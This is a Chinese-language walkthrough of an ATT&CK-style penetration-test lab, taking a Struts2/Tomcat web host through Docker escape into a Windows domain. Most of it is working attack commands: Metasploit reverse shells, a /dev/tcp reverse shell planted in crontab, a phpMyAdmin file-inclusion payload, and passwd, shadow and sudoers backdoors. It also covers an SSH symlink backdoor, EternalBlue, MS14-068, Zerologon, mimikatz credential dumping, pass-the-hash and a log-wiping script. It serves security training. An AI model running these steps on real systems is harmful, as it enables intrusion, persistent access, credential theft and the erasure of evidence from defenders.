ATT&CK(四)
win7
douser Dotest123
web
ubuntu ubuntu
DC
administrator Test2008
docker ps -a
docker start ec814f6ee002
docker start 174745108fcb
docker start 09dd4e5bfa91
探测服务
先探测下ip
nmap 192.168.157.0/24
struts2
发现是struts2 程序 直接扫
传个冰蝎马
弹给msf
use exploit/multi/handler
set payload java/meterpreter/reverse_tcp
set lhost 0.0.0.0
run
172 开头的
推测是docker的
判断docker方法
-
查看是否存在dockerrnv文件
ls -a /.dockerenv
-
查看系统进程的cgroup信息
cat /proc/self/cgroup
tomcat
searchsploit tomcat 8.5.19
searchsploit -m jsp/webapps/42966.py
python3 42966.py -u http://192.168.157.128:2002/
直接返回shell
python3 42966.py -u http://192.168.157.128:2002/ -p pwn
手动测试
传个马
use exploit/multi/handler
set payload java/meterpreter/reverse_tcp
set lhost 0.0.0.0
run
phpmyadmin
本地自己拉了一个vulnhub的靶场
第二个payload
index.php?target=db_sql.php%253f/../../../../../../../../etc/passwd
看下别人的分析
存在包含的位置
if (! empty($_REQUEST['target'])
&& is_string($_REQUEST['target'])
&& ! preg_match('/^index/', $_REQUEST['target'])
&& ! in_array($_REQUEST['target'], $target_blacklist)
&& Core::checkPageValidity($_REQUEST['target'])
) {
include $_REQUEST['target'];
exit;
}
这里都比较好理解 1.需要是字符串 2.正则不能是index开头 3.不在$target_blacklist黑名单里面 4.checkPageValidity方法为True
public static function checkPageValidity(&$page, array $whitelist = [])
{
if (empty($whitelist)) {
$whitelist = self::$goto_whitelist;
}
if (! isset($page) || !is_string($page)) {
return false;
}
if (in_array($page, $whitelist)) {
return true;
}
#这里的$page需要在白名单内
$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
$_page = urldecode($page);
#有一次url解码
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
return false;
}
白名单
这里的代码就写的 嗯…
$_page = urldecode($page);
#有一次url解码
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
在test表中,插入一句话
index.php?target=db_sql.php%253f/../../../../../../../../tmp/sess_1118e8c49e1a158d636d3fe1792c6cc8
docker逃逸
挂载目录
这里通过struts2 拿到的shell获取磁盘文件为空,所以利用不了
但是tomcat可以
fdisk -l
ls /dev
mkdir test
mount /dev/sda1 /test
将sda1挂载到test文件夹下
写入公钥
ssh-keygen -f tmp
chmod 600 tmp
cat tmp.pub
ls /test/home
ls -alh /test/home/ubuntu
查看ubuntu目录所有的文件
这里可以看到这个 .ssh目录 我们要将ssh私钥写入到 .ssh 目录里面并将文件名命名为 authorized_keys 而且.ssh 目录的权限必须为700
使用如下命令写入ssh私钥
cp -avx /test/home/ubuntu/.ssh/id_rsa.pub /test/home/ubuntu/.ssh/authorized_keys
echo 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC1bjVJHesvB4eod522ItIhDUr77COuIVK7XVZi9yzkUHQ2TWnVpbdIfjQOsKNNn6Vs45BKrVJyiffmPGPLIgJJq8jvNWQ9/dsYeH7TUz37/N42CoQ6iLDBfjW3dmG0/78BUS0Y5MTWVYh9VSVPLP4gEbUwgE82L9sZXNAXG6+EZsFNGuvfGXK2Gjijvp40muNCpIUxjXSRBPkHGZuGNp3rM2MXHdBuTsbM8wutMwum45SO7e4YziJizUYlfhO1otLvFLSfdfZP0nmvpCYHhoaICUpEvvA/RNLhSf8tgnXT3VZyeBcXnVhxphY6mHPCbcVe5bCgHtHweZx4yl2WGIbq6sRCGxDClsZf44FJB8QAw6PYifkmhTmAl35j58KuJ/YRC75eewnWc3jUKxTCSLCTGAc/Oogi81clb0F4xdxtjhJgSPrcmC6u0UtlOe7tz3VEAk6206Kl0/m8HExMYtIqec0JR/YqKvIpyFw4bgbySIAxSpCb1+8+g7O7VAXS4i8= root@kali' >> authorized_keys
这里写进去了发现也是需要密码的 自己测试的时候也是
添加新用户
这里使用另一个方式
先建一个强密码用户 需要在ubuntu上面创建
useradd -s /bin/bash wanan
echo 'wanan:x:1002:1002::/home/wanan:/bin/bash' >> /test/etc/passwd
echo 'wanan:$6$wx/tJmeWcAniLelk$tZmXA7hCMamP9elzhIXdQG.BbFBxLbBxJqch5rWJEf8i7W/VrSL2aqsaOn3j4ny7mEE6Zp6bxUiJb2mEyU9tT0:19261:0:99999:7:::' >> /test/etc/shadow
使用刚才创建的用户连接
定时任务
touch /test/tmp/test.sh
chmod +x /test/tmp/test.sh
ls -ll /test/tmp/test.sh
echo '#!/bin/bash' >> /test/tmp/test.sh
echo '/bin/bash -i >& bash -i >& /dev/tcp/192.168.157.130/5555 0>&1' >> /test/tmp/test.sh
cat /test/tmp/test.sh
sed -i '$a*/2 * * * * root bash /tmp/test.sh ' /test/etc/crontab
cat /test/etc/crontab
略等一会 这个省了提权了
ubuntu提权
写sudoers提权
ubuntu提权知识 ubuntu是用命令行执行命令.在普通用户下的操作很受限,无法变成管理员权限,所以需要在一个文件 /etc/sudoers处加入普通用户放行语句,才可以让普通用户在ssh的情况下进行提权
echo "wanan ALL=(ALL:ALL) ALL" >> /test/etc/sudoers
exp提权
uname -a
searchsploit ubuntu 4.4.0
下载exp
https://github.com/briskets/CVE-2021-3493
gcc exploit.c -o exploit
./exploit
msf模块
先上线
use exploit/multi/script/web_delivery
set target 7
set payload linux/x64/meterpreter/reverse_tcp
set lhost 192.168.157.130
run
search suggester
use 0
options
set session 3
run
1 exploit/linux/local/apport_abrt_chroot_priv_esc Yes The target appears to be vulnerable.
2 exploit/linux/local/bpf_sign_extension_priv_esc Yes The target appears to be vulnerable.
3 exploit/linux/local/cve_2021_3493_overlayfs Yes The target appears to be vulnerable.
4 exploit/linux/local/cve_2021_4034_pwnkit_lpe_pkexec Yes The target is vulnerable.
5 exploit/linux/local/cve_2022_0995_watch_queue Yes The target appears to be vulnerable.
6 exploit/linux/local/network_manager_vpnc_username_priv_esc Yes The service is running, but could not be validated.
7 exploit/linux/local/pkexec Yes The service is running, but could not be validated.
8 exploit/linux/local/ptrace_traceme_pkexec_helper Yes The target appears to be vulnerable.
9 exploit/linux/local/su_login Yes The target appears to be vulnerable.
10 exploit/linux/local/sudo_baron_samedit Yes The target appears to be vulnerable. sudo 1.8.9.5 is a vulnerable build.
我们之间上这个 is vulnerable
use exploit/linux/local/cve_2021_4034_pwnkit_lpe_pkexec
options
set session 3
run
上线web
use exploit/multi/script/web_delivery
set target 7
set payload linux/x64/meterpreter/reverse_tcp
set lhost 192.168.157.130
run
ssh软连接后门
利用前提 ssh配置中开启了 pam进行身份认证 默认开启
cat /etc/ssh/sshd_config | grep UsePAM
在启用了之后 当在pam配置文件中控制标志为sufficient时 ,只要pam_rootok.so 模块检测uid为 0 就可以成功认证登录 我们可以先看一下这个 pam_rootok.so
这个是su命令 也就是当我们是root时 我们切换其他用户时不需要密码的
sshd很明显是需要密码的
那么我们如果直接使用 /usr/sbin/sshd 去启动ssh服务的话 是默认使用的是 /etc/pam.d/sshd 的pam配置文件
我们来进行尝试 这里的 -o 其实是开启一个端口去监听
/usr/sbin/sshd -oPort=12345
那么我们将sshd 服务换一下名字 换成su 它就会去找对应在/etc/pam.d/su 的配置文件
ln -sf /usr/sbin/sshd /tmp/su;/tmp/su -oPort=1234
ssh root@192.168.157.130 -p 1234
密码随便输
那么同样的我们 也可以在 /etc/pam.d/ 下寻找其他带有 pam_rootok.so的文件
find /etc/pam.d |xargs grep "pam_rootok"
应急响应
查看服务器开放的端口号
netstat -antp
发现异常的 su 端口 1234
ll /proc/59505
对应的服务是 sshd服务
确定软连接后门文件
find / -name su
ll /tmp/su
删除对应的软连接后门
rm -rf /tmp/su
kill 59505
发现无法登录
添加代理
这里的frp代理是后加的 使用msf代理win7是扫描不到的
msf代理模块
发现还有一张网卡
run get_local_subnets
run autoroute -s 192.168.183.0/24
run autoroute -p
bg
use auxiliary/server/socks_proxy
set version 5
set srvhost 0.0.0.0
edit /etc/proxychains4.conf
run
这里的问题可能存在这个srvhost 需要是 0.0.0.0 根据我的理解这里是我们允许去代理的 ip 也就是请求 ip 如果我们设置为 192.168.157.130 (kali) 那么也就是只会代理 kali的请求 而当win7 的请求发向kali时则会丢弃 所以会导致下面获取shell出现问题 而这里使用0.0.0.0 则会监听所有ip地址
proxychains curl http://192.168.183.133:2002
win7
查看ip存活情况
use auxiliary/scanner/discovery/udp_probe
set rhosts 192.168.183.1-255
set threads 20
run
proxychains nmap -sT -Pn -p 21,22,135,139,445,80,53,8080,1433 192.168.183.129
proxychains nmap -sT -Pn -p 21,22,135,139,445,80,53,8080,1433 192.168.183.130
可以看到开放了 445 端口
直接打一手 ms_07-010
这里注意 更改了 payload的类型 原因是这里可能是目标主机有防火墙限制 导致不能反向连接 我们使用正向连接的payload 这里打了很多次 ip有所变化 能不能打通全靠运气
use windows/smb/ms17_010_eternalblue
set rhosts 192.168.183.134
set payload windows/x64/meterpreter/bind_tcp
options
run
frp代理
添加路由
run get_local_subnets
run autoroute -s 192.168.183.0/24
run autoroute -p
bg
wget https://github.com/fatedier/frp/releases/download/v0.44.0/frp_0.44.0_linux_amd64.tar.gz
新版本不能使用注释
vim frps.ini
[common]
bind_addr = 0.0.0.0
bind_port = 17000
dashboard_addr = 0.0.0.0
dashboard_port = 27500
dashboard_user = root
dashboard_pwd = toor
token = wanan
heartbeat_timeout = 90
max_pool_count = 5
[common]
bind_addr = 0.0.0.0 #绑定的ip,为本机
bind_port = 17000 #绑定的端口
dashboard_addr = 0.0.0.0 #管理地址
dashboard_port = 27500 #管理端口
dashboard_user = root #管理的用户名
dashboard_pwd = toor #管理用户的密码
token = wanan #客户端服务端连接的密码
heartbeat_timeout = 90 #心跳超时时间
max_pool_count = 5 #最大同时连接数
./frps -c frps.ini
ubuntu
frpc.ini
新版本不能使用注释
vim frpc.ini
[common]
server_addr = 192.168.157.130
server_port = 17000
token = wanan
pool_count = 5
protocol = tcp
health_check_type = tcp
health_check_interval_s = 100
[test]
remote_port = 10000
plugin = socks5
use_encryption = true
use_compression = true
[common]
server_addr = 192.168.157.130 #kali的IP地址
server_port = 17000
token = wanan
pool_count = 5
protocol = tcp #协议类型
health_check_type = tcp
health_check_interval_s = 100
[test]
remote_port = 10000 #代理的端口
plugin = socks5 #使用的协议
use_encryption = true #是否加密
use_compression = true
./frpc -c frpc.ini
vim /etc/proxychains4.conf
配置时注意添加密码
第三天又不通了 回头发现是网卡的问题 重启一下两张网卡就好了
proxychains ping 192.168.183.134
这里重新打ms17_010 的时候又出问题
use windows/smb/ms17_010_eternalblue
set rhosts 192.168.183.141
set payload windows/x64/meterpreter/bind_tcp
options
run
发现是火绒在搞事情
关了之后一次通
收集信息
sysinfo
whoami
发现不在域下
偷下 token
steal_token 308
chcp 65001
whoami
net view /domain
Net group "domain controllers" /domain
net time /domain
ping WIN-ENS2VR5TR3N.demo.com
开远程桌面
run post/windows/manage/enable_rdp
rdesktop 192.168.183.134
DC
MS14-068
use windows/smb/ms17_010_eternalblue
set rhosts 192.168.183.130
set payload windows/x64/meterpreter/bind_tcp
options
run
这里域控没有打成功
抓下密码
load kiwi
kiwi_cmd privilege::debug
kiwi_cmd sekurlsa::logonPasswords
没有拿到域控的密码
Domain : DEMO.COM
User Name : douser
Password : Dotest123
SID : S-1-5-21-979886063-1111900045-1414766810-1107
NTLM : bc23b0b4d5bf5ff42bc61fb62e13886e
查看补丁信息
wmic qfe get hotfixid
微软针对 MS14-068 漏洞提供补丁为 KB3011780
下载一下 ms14-068.exe
http://blog.luckly-mjw.cn/tool-show/github-directory-downloader/index.html
https://github.com/abatchy17/WindowsExploits/blob/master/MS14-068/MS14-068.exe
https://raw.githubusercontent.com/abatchy17/WindowsExploits/master/MS14-068/MS14-068.exe
wget https://raw.githubusercontent.com/abatchy17/WindowsExploits/master/MS14-068/MS14-068.exe
upload /root/MS14-068.exe
MS14-068.exe -u douser@DEMO.COM -p Dotest123 -s S-1-5-21-979886063-1111900045-1414766810-1107 -d 192.168.183.130
上传mimikatz.exe
upload /usr/share/windows-resources/mimikatz/x64/mimikatz.exe
mimikatz.exe
通过mimikatz.exe 导入tgt票据
kerberos::ptc TGT_douser@DEMO.COM.ccache
dir \\WIN-ENS2VR5TR3N\c$
exit
置零攻击(cve-2020-1472)
exp https://github.com/risksense/zerologon
wget https://raw.githubusercontent.com/risksense/zerologon/master/set_empty_pw.py
python3 set_empty_pw.py 域控名字 域控_ip,先将域控密码置零
python3 set_empty_pw.py WIN-ENS2VR5TR3N 192.168.183.130
置零之后就可以使用impacket的secretsdump来空密码登录获取hash
下载一下impacket的secretsdump kali自带的报错
git clone https://github.com/SecureAuthCorp/impacket.git
获取下hash
python3 secretsdump.py demo/WIN-ENS2VR5TR3N$\@192.168.183.130 -no-pass
python3 wmiexec.py -hashes aad3b435b51404eeaad3b435b51404ee:56876536089599949a617c8718c88a6a demo.com/administrator\@192.168.183.130
痕迹清除
清除命令历史记录
histroy -r #删除当前会话历史记录
history -c #删除内存中的所有命令历史
rm .bash_history #删除历史文件中的内容
HISTZISE=0 #通过设置历史命令条数来清除所有历史记录
在隐蔽的位置执行命令
使用vim打开文件执行命令
:set history=0
:!command
linux日志文件
/var/run/utmp 记录现在登入的用户
/var/log/wtmp 记录用户所有的登入和登出
/var/log/lastlog 记录每一个用户最后登入时间
/var/log/btmp 记录错误的登入尝试
/var/log/auth.log 需要身份确认的操作
/var/log/secure 记录安全相关的日志信息
/var/log/maillog 记录邮件相关的日志信息
/var/log/message 记录系统启动后的信息和错误日志
/var/log/cron 记录定时任务相关的日志信息
/var/log/spooler 记录UUCP和news设备相关的日志信息
/var/log/boot.log 记录守护进程启动和停止相关的日志消息
完全删除日志文件:
cat /dev/null > filename
: > filename
> filename
echo "" > filename
echo > filename
针对性删除日志文件:
删除当天日志
sed -i '/当天日期/'d filename
一键清除脚本:
#!/usr/bin/bash
echo > /var/log/syslog
echo > /var/log/messages
echo > /var/log/httpd/access_log
echo > /var/log/httpd/error_log
echo > /var/log/xferlog
echo > /var/log/secure
echo > /var/log/auth.log
echo > /var/log/user.log
echo > /var/log/wtmp
echo > /var/log/lastlog
echo > /var/log/btmp
echo > /var/run/utmp
rm ~/./bash_history
history -c
windows
1.查看事件日志
run event_manager -i
2.删除事件日志
run event_manager -c
3.clearv命令清除目标系统的事件日志。
MSF
run event_manager -i 查看日志
run event_manager -c 删除事件日志
https://www.freebuf.com/articles/web/340783.html
https://drunkmars.top/2021/08/09/%E7%BA%A2%E6%97%A5%E9%9D%B6%E5%9C%BA4/#
https://txluck.github.io/2021/10/30/%E7%BA%A2%E6%97%A54/
https://kam1.cc/2022/06/07/%E7%BA%A2%E6%97%A5ATT&CK%E9%9D%B6%E5%9C%BA%20-%20%E5%9B%9B/
https://blog.csdn.net/qq_36241198/article/details/121619400
https://zhuanlan.zhihu.com/p/405809605